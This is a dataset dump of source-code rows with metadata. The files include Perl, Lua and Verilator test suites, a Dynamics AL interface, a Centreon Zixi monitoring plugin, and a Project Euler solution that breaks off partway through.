hexsha
stringlengths
40
40
size
int64
3
1.05M
ext
stringclasses
163 values
lang
stringclasses
53 values
max_stars_repo_path
stringlengths
3
945
max_stars_repo_name
stringlengths
4
112
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
945
max_issues_repo_name
stringlengths
4
113
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
float64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
945
max_forks_repo_name
stringlengths
4
113
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
3
1.05M
avg_line_length
float64
1
966k
max_line_length
int64
1
977k
alphanum_fraction
float64
0
1
ed25d38a9cc8a8cb682871621d1d1bdf514513b9
3,066
t
Perl
t/01-access.t
ironcamel/Validation-Class
81756d18cdb78e444da4f498203c08c6855bf59c
[ "Artistic-1.0" ]
null
null
null
t/01-access.t
ironcamel/Validation-Class
81756d18cdb78e444da4f498203c08c6855bf59c
[ "Artistic-1.0" ]
null
null
null
t/01-access.t
ironcamel/Validation-Class
81756d18cdb78e444da4f498203c08c6855bf59c
[ "Artistic-1.0" ]
1
2018-10-17T20:59:33.000Z
2018-10-17T20:59:33.000Z
BEGIN { use FindBin; use lib $FindBin::Bin . "/myapp/lib"; } use utf8; use Test::More; { package TestClass::CheckParameters; use Validation::Class; fld name => { required => 1 }; package main; my $class = "TestClass::CheckParameters"; my $self = $class->new; ok $class eq ref $self, "$class instantiated"; my @vals = qw( Kathy Joe John O 1 234 Ricky ~ ' Lady §§ ♠♣♥♦♠♣♥♦♠♣♥♦ ); for my $v (@vals) { ok $v eq $self->name($v), "$class name accessor set to `$v` with expected return value" } for my $v (@vals) { my $name_param = $self->name($v); ok $self->params->{name} eq $name_param, "$class name parameter set to `$v` using the name accessor" } } { package TestClass::ArrayParameters; use Validation::Class; bld sub { shift->name([1..5]) }; fld name => { required => 1 }; package main; my $class = "TestClass::ArrayParameters"; my $self = $class->new; ok $class eq ref $self, "$class instantiated"; ok "ARRAY" eq ref $self->name, "$class name accessor returns an array"; ok ! ref $self->name(''), "$class name accessor returns nothing"; ok ! $self->name({1..4}), "$class name accessor cant set a hash"; ok "ARRAY" eq ref $self->name([1..5]), "$class name accessor returns an array"; ok "ARRAY" eq ref $self->params->{name}, "$class name param is an array"; ok "ARRAY" eq ref $self->name, "$class name accessor returns the array"; } { package TestClass::FieldAccessors; use Validation::Class; fld 'name.first' => { required => 1 }; fld 'name.last' => { required => 1 }; fld 'name.phone:0' => { required => 0 }; fld 'name.phone:1' => { required => 0 }; fld 'name.phone:2' => { required => 0 }; package main; my $class = "TestClass::FieldAccessors"; my $self = $class->new; ok $class eq ref $self, "$class instantiated"; my @accessors = (); { no strict 'refs'; @accessors = sort grep { defined &{"$class\::$_"} && $_ =~ /^name/ } %{"$class\::"}; ok 5 == @accessors, "$class has 5 name* accessors"; } ok $accessors[0] eq 'name_first', "$class has the name_first accessor"; ok $accessors[1] eq 'name_last', "$class has the name_last accessor"; ok $accessors[2] eq 'name_phone_0', "$class has the name_phone_0 accessor"; ok $accessors[3] eq 'name_phone_1', "$class has the name_phone_1 accessor"; ok $accessors[4] eq 'name_phone_2', "$class has the name_phone_2 accessor"; } done_testing;
20.577181
83
0.491194
ed5ac42fc62e079fbfff9302ef009c1fe80e8647
10,041
t
Perl
test_lua52/304-string.t
okoshovetc/lua-testmore
6ccdf2ea94231f783ad27498abd379d30a7279a1
[ "MIT" ]
1
2019-05-25T14:56:57.000Z
2019-05-25T14:56:57.000Z
test_lua52/304-string.t
okoshovetc/lua-testmore
6ccdf2ea94231f783ad27498abd379d30a7279a1
[ "MIT" ]
null
null
null
test_lua52/304-string.t
okoshovetc/lua-testmore
6ccdf2ea94231f783ad27498abd379d30a7279a1
[ "MIT" ]
2
2019-08-05T07:29:22.000Z
2022-01-14T10:29:05.000Z
#! /usr/bin/lua -- -- lua-TestMore : <http://fperrad.github.com/lua-TestMore/> -- -- Copyright (C) 2009-2012, Perrad Francois -- -- This code is licensed under the terms of the MIT/X11 license, -- like Lua itself. -- --[[ =head1 Lua String Library =head2 Synopsis % prove 304-string.t =head2 Description Tests Lua String Library See "Lua 5.2 Reference Manual", section 6.4 "String Manipulation", L<http://www.lua.org/manual/5.2/manual.html#6.4>. See "Programming in Lua", section 20 "The String Library". =cut ]] require 'Test.More' plan(111) is(string.byte('ABC'), 65, "function byte") is(string.byte('ABC', 2), 66) is(string.byte('ABC', -1), 67) is(string.byte('ABC', 4), nil) is(string.byte('ABC', 0), nil) eq_array({string.byte('ABC', 1, 3)}, {65, 66, 67}) eq_array({string.byte('ABC', 1, 4)}, {65, 66, 67}) type_ok(getmetatable('ABC'), 'table', "literal string has metatable") s = "ABC" is(s:byte(2), 66, "method s:byte") is(string.char(65, 66, 67), 'ABC', "function char") is(string.char(), '') error_like(function () string.char(0, 'bad') end, "^[^:]+:%d+: bad argument #2 to 'char' %(number expected, got string%)", "function char (bad arg)") error_like(function () string.char(0, 9999) end, "^[^:]+:%d+: bad argument #2 to 'char' %(.-value.-%)", "function char (invalid)") d = string.dump(plan) type_ok(d, 'string', "function dump") error_like(function () string.dump(print) end, "^[^:]+:%d+: unable to dump given function", "function dump (C function)") s = "hello world" eq_array({string.find(s, "hello")}, {1, 5}, "function find (mode plain)") eq_array({string.find(s, "hello", 1, true)}, {1, 5}) eq_array({string.find(s, "hello", 1)}, {1, 5}) is(string.sub(s, 1, 5), "hello") eq_array({string.find(s, "world")}, {7, 11}) eq_array({string.find(s, "l")}, {3, 3}) is(string.find(s, "lll"), nil) is(string.find(s, "hello", 2, true), nil) eq_array({string.find(s, "world", 2, true)}, {7, 11}) is(string.find(s, "hello", 20), nil) s = "hello world" eq_array({string.find(s, "^h.ll.")}, {1, 5}, "function find (with regex & captures)") eq_array({string.find(s, "w.rld", 2)}, {7, 11}) is(string.find(s, "W.rld"), nil) eq_array({string.find(s, "^(h.ll.)")}, {1, 5, 'hello'}) eq_array({string.find(s, "^(h.)l(l.)")}, {1, 5, 'he', 'lo'}) s = "Deadline is 30/05/1999, firm" date = "%d%d/%d%d/%d%d%d%d" is(string.sub(s, string.find(s, date)), "30/05/1999") date = "%f[%S]%d%d/%d%d/%d%d%d%d" is(string.sub(s, string.find(s, date)), "30/05/1999") error_like(function () string.find(s, '%f') end, "^[^:]+:%d+: missing '%[' after '%%f' in pattern", "function find (invalid frontier)") is(string.format("pi = %.4f", math.pi), 'pi = 3.1416', "function format") d = 5; m = 11; y = 1990 is(string.format("%02d/%02d/%04d", d, m, y), "05/11/1990") tag, title = "h1", "a title" is(string.format("<%s>%s</%s>", tag, title, tag), "<h1>a title</h1>") is(string.format('%q', 'a string with "quotes" and \n new line'), [["a string with \"quotes\" and \ new line"]], "function format %q") is(string.format('%q', 'a string with \b and \b2'), [["a string with \8 and \0082"]], "function format %q") is(string.format("%s %s", 1, 2, 3), '1 2', "function format (too many arg)") is(string.format("%% %c %%", 65), '% A %', "function format (%%)") r = string.rep("ab", 100) is(string.format("%s %d", r, r:len()), r .. " 200") error_like(function () string.format("%s %s", 1) end, "^[^:]+:%d+: bad argument #3 to 'format' %(.-no value%)", "function format (too few arg)") error_like(function () string.format('%d', 'toto') end, "^[^:]+:%d+: bad argument #2 to 'format' %(number expected, got string%)", "function format (bad arg)") error_like(function () string.format('%k', 'toto') end, "^[^:]+:%d+: invalid option '%%k' to 'format'", "function format (invalid option)") error_like(function () string.format('%------s', 'toto') end, "^[^:]+:%d+: invalid format %(repeated flags%)", "function format (invalid format)") error_like(function () string.format('pi = %.123f', math.pi) end, "^[^:]+:%d+: invalid format %(width or precision too long%)", "function format (invalid format)") error_like(function () string.format('% 123s', 'toto') end, "^[^:]+:%d+: invalid format %(width or precision too long%)", "function format (invalid format)") s = "hello" output = {} for c in string.gmatch(s, '..') do table.insert(output, c) end eq_array(output, {'he', 'll'}, "function gmatch") output = {} for c1, c2 in string.gmatch(s, '(.)(.)') do table.insert(output, c1) table.insert(output, c2) end eq_array(output, {'h', 'e', 'l', 'l'}) s = "hello world from Lua" output = {} for w in string.gmatch(s, '%a+') do table.insert(output, w) end eq_array(output, {'hello', 'world', 'from', 'Lua'}) s = "from=world, to=Lua" output = {} for k, v in string.gmatch(s, '(%w+)=(%w+)') do table.insert(output, k) table.insert(output, v) end eq_array(output, {'from', 'world', 'to', 'Lua'}) is(string.gsub("hello world", "(%w+)", "%1 %1"), "hello hello world world", "function gsub") is(string.gsub("hello world", "%w+", "%0 %0", 1), "hello hello world") is(string.gsub("hello world from Lua", "(%w+)%s*(%w+)", "%2 %1"), "world hello Lua from") is(string.gsub("home = $HOME, user = $USER", "%$(%w+)", string.reverse), "home = EMOH, user = RESU") is(string.gsub("4+5 = $return 4+5$", "%$(.-)%$", function (s) return load(s)() end), "4+5 = 9") local t = {name='lua', version='5.1'} is(string.gsub("$name-$version.tar.gz", "%$(%w+)", t), "lua-5.1.tar.gz") is(string.gsub("Lua is cute", 'cute', 'great'), "Lua is great") is(string.gsub("all lii", 'l', 'x'), "axx xii") is(string.gsub("Lua is great", '^Sol', 'Sun'), "Lua is great") is(string.gsub("all lii", 'l', 'x', 1), "axl lii") is(string.gsub("all lii", 'l', 'x', 2), "axx lii") is(select(2, string.gsub("string with 3 spaces", ' ', ' ')), 3) eq_array({string.gsub("hello, up-down!", '%A', '.')}, {"hello..up.down.", 4}) text = "hello world" nvow = select(2, string.gsub(text, '[AEIOUaeiou]', '')) is(nvow, 3) eq_array({string.gsub("one, and two; and three", '%a+', 'word')}, {"word, word word; word word", 5}) test = "int x; /* x */ int y; /* y */" eq_array({string.gsub(test, "/%*.*%*/", '<COMMENT>')}, {"int x; <COMMENT>", 1}) eq_array({string.gsub(test, "/%*.-%*/", '<COMMENT>')}, {"int x; <COMMENT> int y; <COMMENT>", 2}) s = "a (enclosed (in) parentheses) line" eq_array({string.gsub(s, '%b()', '')}, {"a line", 1}) error_like(function () string.gsub(s, '%b(', '') end, "^[^:]+:%d+: .- pattern", "function gsub (malformed pattern)") eq_array({string.gsub("hello Lua!", "%a", "%0-%0")}, {"h-he-el-ll-lo-o L-Lu-ua-a!", 8}) eq_array({string.gsub("hello Lua", "(.)(.)", "%2%1")}, {"ehll ouLa", 4}) function expand (s) return (string.gsub(s, '$(%w+)', _G)) end name = 'Lua'; status= 'great' is(expand("$name is $status, isn't it?"), "Lua is great, isn't it?") is(expand("$othername is $status, isn't it?"), "$othername is great, isn't it?") function expand (s) return (string.gsub(s, '$(%w+)', function (n) return tostring(_G[n]), 1 end)) end like(expand("print = $print; a = $a"), "^print = function: [0]?[Xx]?[builtin]*#?%x+; a = nil") error_like(function () string.gsub("hello world", '(%w+)', '%2 %2') end, "^[^:]+:%d+: invalid capture index", "function gsub (invalid index)") error_like(function () string.gsub("hello world", '(%w+)', true) end, "^[^:]+:%d+: bad argument #3 to 'gsub' %(string/function/table expected%)", "function gsub (bad type)") error_like(function () function expand (s) return (string.gsub(s, '$(%w+)', _G)) end name = 'Lua'; status= true expand("$name is $status, isn't it?") end, "^[^:]+:%d+: invalid replacement value %(a boolean%)", "function gsub (invalid value)") is(string.len(''), 0, "function len") is(string.len('test'), 4) is(string.len("a\000b\000c"), 5) is(string.len('"'), 1) is(string.lower('Test'), 'test', "function lower") is(string.lower('TeSt'), 'test') s = "hello world" is(string.match(s, '^hello'), 'hello', "function match") is(string.match(s, 'world', 2), 'world') is(string.match(s, 'World'), nil) eq_array({string.match(s, '^(h.ll.)')}, {'hello'}) eq_array({string.match(s, '^(h.)l(l.)')}, {'he', 'lo'}) date = "Today is 17/7/1990" is(string.match(date, '%d+/%d+/%d+'), '17/7/1990') eq_array({string.match(date, '(%d+)/(%d+)/(%d+)')}, {'17', '7', '1990'}) is(string.match("The number 1298 is even", '%d+'), '1298') pair = "name = Anna" eq_array({string.match(pair, '(%a+)%s*=%s*(%a+)')}, {'name', 'Anna'}) s = [[then he said: "it's all right"!]] eq_array({string.match(s, "([\"'])(.-)%1")}, {'"', "it's all right"}, "function match (back ref)") p = "%[(=*)%[(.-)%]%1%]" s = "a = [=[[[ something ]] ]==]x]=]; print(a)" eq_array({string.match(s, p)}, {'=', '[[ something ]] ]==]x'}) is(string.match(s, "%g"), "a", "match graphic char") error_like(function () string.match("hello world", "%1") end, "^[^:]+:%d+: invalid capture index", "function match invalid capture") is(string.rep('ab', 3), 'ababab', "function rep") is(string.rep('ab', 0), '') is(string.rep('ab', -1), '') is(string.rep('', 5), '') is(string.rep('ab', 3, ','), 'ab,ab,ab', "with sep") is(string.reverse('abcde'), 'edcba', "function reverse") is(string.reverse('abcd'), 'dcba') is(string.reverse(''), '') is(string.sub('abcde', 1, 2), 'ab', "function sub") is(string.sub('abcde', 3, 4), 'cd') is(string.sub('abcde', -2), 'de') is(string.sub('abcde', 3, 2), '') is(string.upper('Test'), 'TEST', "function upper") is(string.upper('TeSt'), 'TEST') -- Local Variables: -- mode: lua -- lua-indent-level: 4 -- fill-column: 100 -- End: -- vim: ft=lua expandtab shiftwidth=4:
35.108392
107
0.566477
ed3816cd35534d3793a1745b4c2e24c8ec800b54
835
al
Perl
Apps/CZ/CoreLocalizationPack/app/Src/Interfaces/VATControlReportExport.Interface.al
MiguelMercadoActual/ALAppExtensions
97ee3823053eb32fa7e38dc3d1e7a89bdcca8d7b
[ "MIT" ]
337
2019-05-07T06:04:40.000Z
2022-03-31T10:07:42.000Z
Apps/CZ/CoreLocalizationPack/app/Src/Interfaces/VATControlReportExport.Interface.al
MiguelMercadoActual/ALAppExtensions
97ee3823053eb32fa7e38dc3d1e7a89bdcca8d7b
[ "MIT" ]
14,850
2019-05-07T06:04:27.000Z
2022-03-31T19:53:28.000Z
Apps/CZ/CoreLocalizationPack/app/Src/Interfaces/VATControlReportExport.Interface.al
MiguelMercadoActual/ALAppExtensions
97ee3823053eb32fa7e38dc3d1e7a89bdcca8d7b
[ "MIT" ]
374
2019-05-09T10:08:14.000Z
2022-03-31T17:48:32.000Z
interface "VAT Control Report Export CZL" { /// <summary> /// Export VAT Control Report to XML file. /// </summary> /// <param name="VATCtrlReportHeaderCZL">Record "VAT Ctrl. Report Header CZL" which will be exported.</param> /// <returns>Exported file name.</returns> procedure ExportToXMLFile(VATCtrlReportHeaderCZL: Record "VAT Ctrl. Report Header CZL"): Text /// <summary> /// Export VAT Control Report to TempBlob. /// </summary> /// <param name="VATCtrlReportHeaderCZL">Record "VAT Ctrl. Report Header CZL" which will be exported.</param> /// <param name="TempBlob">Pointer of type Codeunit "Temp Blob" into which the XML export output is filled.</param> procedure ExportToXMLBlob(VATCtrlReportHeaderCZL: Record "VAT Ctrl. Report Header CZL"; var TempBlob: Codeunit "Temp Blob") }
52.1875
127
0.701796
73e6865f85f06b2118e9f9cbabf1d0bfb16e9ef5
9,712
pm
Perl
apps/video/zixi/restapi/mode/broadcasteroutputusage.pm
cstegm/centreon-plugins
b29bdb670de52a22d3520661dc7b9d2548ae7a1a
[ "Apache-2.0" ]
null
null
null
apps/video/zixi/restapi/mode/broadcasteroutputusage.pm
cstegm/centreon-plugins
b29bdb670de52a22d3520661dc7b9d2548ae7a1a
[ "Apache-2.0" ]
null
null
null
apps/video/zixi/restapi/mode/broadcasteroutputusage.pm
cstegm/centreon-plugins
b29bdb670de52a22d3520661dc7b9d2548ae7a1a
[ "Apache-2.0" ]
null
null
null
# # Copyright 2019 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package apps::video::zixi::restapi::mode::broadcasteroutputusage; use base qw(centreon::plugins::templates::counter); use strict; use warnings; use Digest::MD5 qw(md5_hex); my $instance_mode; sub custom_status_threshold { my ($self, %options) = @_; my $status = 'ok'; my $message; eval { local $SIG{__WARN__} = sub { $message = $_[0]; }; local $SIG{__DIE__} = sub { $message = $_[0]; }; if (defined($instance_mode->{option_results}->{critical_status}) && $instance_mode->{option_results}->{critical_status} ne '' && eval "$instance_mode->{option_results}->{critical_status}") { $status = 'critical'; } elsif (defined($instance_mode->{option_results}->{warning_status}) && $instance_mode->{option_results}->{warning_status} ne '' && eval "$instance_mode->{option_results}->{warning_status}") { $status = 'warning'; } }; if (defined($message)) { $self->{output}->output_add(long_msg => 'filter status issue: ' . $message); } return $status; } sub custom_status_output { my ($self, %options) = @_; my $msg = 'status : ' . $self->{result_values}->{status} . ' [error: ' . $self->{result_values}->{error} . ']'; return $msg; } sub custom_status_calc { my ($self, %options) = @_; $self->{result_values}->{status} = $options{new_datas}->{$self->{instance} . '_status'}; $self->{result_values}->{name} = $options{new_datas}->{$self->{instance} . '_name'}; $self->{result_values}->{error} = $options{new_datas}->{$self->{instance} . '_error'}; return 0; } sub set_counters { my ($self, %options) = @_; $self->{maps_counters_type} = [ { name => 'output_stream', type => 1, cb_prefix_output => 'prefix_output_output', message_multiple => 'All outputs are ok', skipped_code => { -11 => 1 } }, ]; $self->{maps_counters}->{output_stream} = [ { label => 'status', threshold => 0, set => { key_values => [ { name => 'status' }, { name => 'name' }, { name => 'error' } ], closure_custom_calc => $self->can('custom_status_calc'), closure_custom_output => $self->can('custom_status_output'), closure_custom_perfdata => sub { return 0; }, closure_custom_threshold_check => $self->can('custom_status_threshold'), } }, { label => 'traffic-in', set => { key_values => [ { name => 'traffic_in', diff => 1 }, { name => 'name' } ], per_second => 1, output_change_bytes => 2, output_template => 'Traffic In : %s %s/s', perfdatas => [ { label => 'traffic_in', value => 'traffic_in_per_second', template => '%.2f', min => 0, unit => 'b/s', label_extra_instance => 1, instance_use => 'name_absolute' }, ], } }, { label => 'traffic-out', set => { key_values => [ { name => 'traffic_out', diff => 1 }, { name => 'name' } ], per_second => 1, output_change_bytes => 2, output_template => 'Traffic Out : %s %s/s', perfdatas => [ { label => 'traffic_out', value => 'traffic_out_per_second', template => '%.2f', min => 0, unit => 'b/s', label_extra_instance => 1, instance_use => 'name_absolute' }, ], } }, { label => 'dropped-in', set => { key_values => [ { name => 'dropped_in', diff => 1 }, { name => 'name' } ], output_template => 'Packets Dropped In : %s', perfdatas => [ { label => 'dropped_in', value => 'dropped_in_absolute', template => '%.2f', min => 0, label_extra_instance => 1, instance_use => 'name_absolute' }, ], } }, ]; } sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options, statefile => 1); bless $self, $class; $self->{version} = '1.0'; $options{options}->add_options(arguments => { "filter-name:s" => { name => 'filter_name' }, "warning-status:s" => { name => 'warning_status' }, "critical-status:s" => { name => 'critical_status', default => '%{status} !~ /Connecting|Connected/i || %{error} !~ /none/i' }, }); return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::check_options(%options); $instance_mode = $self; $self->change_macros(); } sub prefix_output_output { my ($self, %options) = @_; return "Output '" . $options{instance_value}->{name} . "' "; } sub change_macros { my ($self, %options) = @_; foreach (('warning_status', 'critical_status')) { if (defined($self->{option_results}->{$_})) { $self->{option_results}->{$_} =~ s/%\{(.*?)\}/\$self->{result_values}->{$1}/g; } } } my %mapping_output_status = (0 => 'none', 1 => 'unknown', 2 => 'resolve error', 3 => 'timeout', 4 => 'network error', 5 => 'protocol error', 6 => 'server is full', 7 => 'connection rejected', 8 => 'authentication error', 9 => 'license error', 10 => 'end of file', 11 => 'flood error', 12 => 'redirect', 13 => 'stopped', 14 => 'limit', 15 => 'not found', 16 => 'not supported', 17 => 'local file system error', 18 => 'remote file system error', 19 => 'stream replaced', 20 => 'p2p abort', 21 => 'compression error', 22 => 'source collision error', 23 => 'adaptive', 24 => 'tcp connection error', 25 => 'rtmp connection error', 26 => 'rtmp handshake error', 27 => 'tcp connection closed', 28 => 'rtmp stream error', 29 => 'rtmp publish error', 30 => 'rtmp stream closed', 31 => 'rtmp play error', 32 => 'rtmp protocol error', 33 => 'rtmp analyze timeout', 34 => 'busy', 35 => 'encryption error', 36 => 'transcoder error', 37 => 'error in invocation a transcoder subprocess', 38 => 'error communicating with a transcoder subprocess', 39 => 'error in RTMP Akamai authentication', 40 => 'maximum outputs for the source reached', 41 => 'generic error', 42 => 'zero bitrate warning', 43 => 'low bitrate warning', 44 => 'multicast join failed', ); sub manage_selection { my ($self, %options) = @_; $self->{output_stream} = {}; my $result = $options{custom}->get(path => '/zixi/outputs.json?complete=1'); foreach my $entry (@{$result->{outputs}}) { my $name = $entry->{name} . '/' . $entry->{requested_stream_id}; if (defined($self->{option_results}->{filter_name}) && $self->{option_results}->{filter_name} ne '' && $name !~ /$self->{option_results}->{filter_name}/) { $self->{output}->output_add(long_msg => "skipping '" . $name . "': no matching filter.", debug => 1); next; } $self->{output_stream}->{$entry->{id}} = { name => $name, status => $entry->{status}, error => $mapping_output_status{$entry->{error_code}}, traffic_in => $entry->{stats}->{net_recv}->{bytes} * 8, traffic_out => $entry->{stats}->{net_send}->{bytes} * 8, dropped_in => $entry->{stats}->{net_recv}->{dropped}, }; } if (scalar(keys %{$self->{output_stream}}) <= 0) { $self->{output}->add_option_msg(short_msg => "No output found."); $self->{output}->option_exit(); } $self->{cache_name} = "zixi_" . $self->{mode} . '_' . $options{custom}->{hostname} . '_' . $options{custom}->{port} . '_' . (defined($self->{option_results}->{filter_counters}) ? md5_hex($self->{option_results}->{filter_counters}) : md5_hex('all')) . '_' . (defined($self->{option_results}->{filter_name}) ? md5_hex($self->{option_results}->{filter_name}) : md5_hex('all')); } 1; __END__ =head1 MODE Check output usage. =over 8 =item B<--filter-name> Filter name (can be a regexp). =item B<--filter-counters> Only display some counters (regexp can be used). Example: --filter-counters='^status$' =item B<--warning-*> Threshold warning. Can be: 'traffic-in', 'traffic-out', 'dropped-in'. =item B<--critical-*> Threshold critical. Can be: 'traffic-in', 'traffic-out', 'dropped-in'. =item B<--warning-status> Set warning threshold for status (Default: -) Can used special variables like: %{name}, %{status}, %{error}. =item B<--critical-status> Set critical threshold for status (Default: '%{status} !~ /Connecting|Connected/i || %{error} !~ /none/i'). Can used special variables like: %{name}, %{status}, %{error}. =back =cut
38.387352
167
0.556631
ed32d18c8a90d9a4b774a089adcefe2284b8a472
607
pl
Perl
verilator-4.016/test_regress/t/t_interface_down_inlb.pl
tcovert2015/fpga_competition
26b7a72959afbf8315eb962ec597ba14b4a73dbd
[ "BSD-3-Clause" ]
null
null
null
verilator-4.016/test_regress/t/t_interface_down_inlb.pl
tcovert2015/fpga_competition
26b7a72959afbf8315eb962ec597ba14b4a73dbd
[ "BSD-3-Clause" ]
null
null
null
verilator-4.016/test_regress/t/t_interface_down_inlb.pl
tcovert2015/fpga_competition
26b7a72959afbf8315eb962ec597ba14b4a73dbd
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/perl if (!$::Driver) { use FindBin; exec("$FindBin::Bin/bootstrap.pl", @ARGV, $0); die; } # DESCRIPTION: Verilator: Verilog Test driver/expect definition # # Copyright 2003 by Wilson Snyder. This program is free software; you can # redistribute it and/or modify it under the terms of either the GNU # Lesser General Public License Version 3 or the Perl Artistic License # Version 2.0. scenarios(simulator => 1); top_filename("t/t_interface_down.v"); compile( v_flags2 => ['+define+INLINE_B'], verilator_flags2 => ['-trace'], ); execute( check_finished => 1, ); ok(1); 1;
24.28
84
0.688633
73dc29a89bc3586d32b2b167d7f48f46eeb652e3
3,477
t
Perl
t/01-one_latin_letter.t
shlomif/ita2heb
543bc8c86c22d49082788e7601aee140fb89fdc9
[ "Artistic-2.0" ]
null
null
null
t/01-one_latin_letter.t
shlomif/ita2heb
543bc8c86c22d49082788e7601aee140fb89fdc9
[ "Artistic-2.0" ]
1
2017-11-25T21:25:26.000Z
2017-11-25T21:25:26.000Z
t/01-one_latin_letter.t
amire80/ita2heb
543bc8c86c22d49082788e7601aee140fb89fdc9
[ "Artistic-2.0" ]
null
null
null
#!perl -T use 5.010; use strict; use warnings; use Test::More tests => 31; use Lingua::IT::Ita2heb; use charnames ':full'; use lib './t/lib'; use CheckItaTrans qw(start_log check_ita_transliteration); start_log(__FILE__); my $result_for_a = "\N{HEBREW LETTER ALEF}" . "\N{HEBREW POINT QAMATS}" . "\N{HEBREW LETTER HE}"; my $result_for_e = "\N{HEBREW LETTER ALEF}" . "\N{HEBREW POINT SEGOL}" . "\N{HEBREW LETTER HE}"; my $result_for_i = "\N{HEBREW LETTER ALEF}" . "\N{HEBREW POINT HIRIQ}" . "\N{HEBREW LETTER YOD}"; my $result_for_o = "\N{HEBREW LETTER ALEF}" . "\N{HEBREW LETTER VAV}" . "\N{HEBREW POINT HOLAM}"; my $result_for_u = "\N{HEBREW LETTER ALEF}" . "\N{HEBREW LETTER VAV}" . "\N{HEBREW POINT DAGESH OR MAPIQ}"; # shuruk check_ita_transliteration('a', $result_for_a, 'a'); check_ita_transliteration("\N{LATIN SMALL LETTER A WITH GRAVE}", $result_for_a, 'a with grave'); check_ita_transliteration("\N{LATIN SMALL LETTER A WITH ACUTE}", q{?}, 'a with acute'); check_ita_transliteration('b', "\N{HEBREW LETTER BET}\N{HEBREW POINT DAGESH OR MAPIQ}", 'b'); check_ita_transliteration('c', "\N{HEBREW LETTER QOF}", 'c'); check_ita_transliteration('d', "\N{HEBREW LETTER DALET}\N{HEBREW POINT DAGESH OR MAPIQ}", 'd'); check_ita_transliteration('e', $result_for_e, 'e'); check_ita_transliteration("\N{LATIN SMALL LETTER E WITH GRAVE}", $result_for_e, 'e with grave'); check_ita_transliteration("\N{LATIN SMALL LETTER E WITH ACUTE}", $result_for_e, 'e with acute'); check_ita_transliteration('f', "\N{HEBREW LETTER PE}\N{HEBREW POINT RAFE}", 'f'); check_ita_transliteration( [ 'f', disable_rafe => 1, ], "\N{HEBREW LETTER PE}", 'f without rafe' ); check_ita_transliteration('i', $result_for_i, 'i'); check_ita_transliteration("\N{LATIN SMALL LETTER I WITH GRAVE}", $result_for_i, 'i with grave'); check_ita_transliteration("\N{LATIN SMALL LETTER I WITH ACUTE}", $result_for_i, 'i with acute'); check_ita_transliteration("\N{LATIN SMALL LETTER I WITH CIRCUMFLEX}", $result_for_i, 'i with circumflex'); check_ita_transliteration('k', "\N{HEBREW LETTER QOF}", 'k'); check_ita_transliteration('l', "\N{HEBREW LETTER LAMED}", 'l'); check_ita_transliteration('m', "\N{HEBREW LETTER MEM}", 'm'); # not sofit check_ita_transliteration('n', "\N{HEBREW LETTER NUN}", 'n'); # not sofit check_ita_transliteration('o', $result_for_o, 'o'); check_ita_transliteration("\N{LATIN SMALL LETTER O WITH GRAVE}", $result_for_o, 'o with grave'); check_ita_transliteration("\N{LATIN SMALL LETTER O WITH ACUTE}", $result_for_o, 'o with acute'); check_ita_transliteration('p', "\N{HEBREW LETTER PE}\N{HEBREW POINT DAGESH OR MAPIQ}", 'p'); # not sofit! check_ita_transliteration('r', "\N{HEBREW LETTER RESH}", 'r'); check_ita_transliteration('s', "\N{HEBREW LETTER SAMEKH}", 's'); check_ita_transliteration('t', "\N{HEBREW LETTER TET}", 't'); check_ita_transliteration('u', $result_for_u, 'u'); check_ita_transliteration("\N{LATIN SMALL LETTER U WITH GRAVE}", $result_for_u, 'u with grave'); check_ita_transliteration("\N{LATIN SMALL LETTER U WITH ACUTE}", $result_for_u, 'u with acute'); check_ita_transliteration('v', "\N{HEBREW LETTER VAV}", 'v'); check_ita_transliteration( 'z', "\N{HEBREW LETTER DALET}\N{HEBREW POINT DAGESH OR MAPIQ}\N{HEBREW POINT SHEVA}\N{HEBREW LETTER ZAYIN}", 'z' );
28.5
107
0.677308
73f087669802aef5d853b966e378e337c1bca594
2,201
pl
Perl
project-euler/100/100.pl
zoffixznet/project-euler
39921379385ae2521354c7266a541c46785e85a2
[ "MIT" ]
null
null
null
project-euler/100/100.pl
zoffixznet/project-euler
39921379385ae2521354c7266a541c46785e85a2
[ "MIT" ]
null
null
null
project-euler/100/100.pl
zoffixznet/project-euler
39921379385ae2521354c7266a541c46785e85a2
[ "MIT" ]
null
null
null
#!/usr/bin/perl use strict; use warnings; use IO::Handle; use Math::BigInt lib => "GMP", ":constant"; my $n = 7; my $prev_n = 1; STDOUT->autoflush(1); sub find_blue_discs_num { my $num_discs = shift; my $bottom = ( $num_discs >> 1 ); my $top = $num_discs; my $divide_by = $num_discs * ( $num_discs - 1 ); my $wanted_product = ( $divide_by >> 1 ); while ( $top >= $bottom ) { my $mid = ( ( $bottom + $top ) >> 1 ); my $product = $mid * ( $mid - 1 ); if ( $product == $wanted_product ) { return $mid; } elsif ( $product < $wanted_product ) { $bottom = $mid + 1; } else { $top = $mid - 1; } } return; } while (1) { if ( $n > 1_000_000_000_000 ) { my $m = ( ( $n + 1 ) / 2 ); print "P(BB)[$m] = ", find_blue_discs_num($m), "\n"; } } continue { ( $n, $prev_n ) = ( 6 * $n - $prev_n, $n ); } =head1 COPYRIGHT & LICENSE Copyright 2017 by Shlomi Fish This program is distributed under the MIT / Expat License: L<http://www.opensource.org/licenses/mit-license.php> Permission is hereby granted, free of 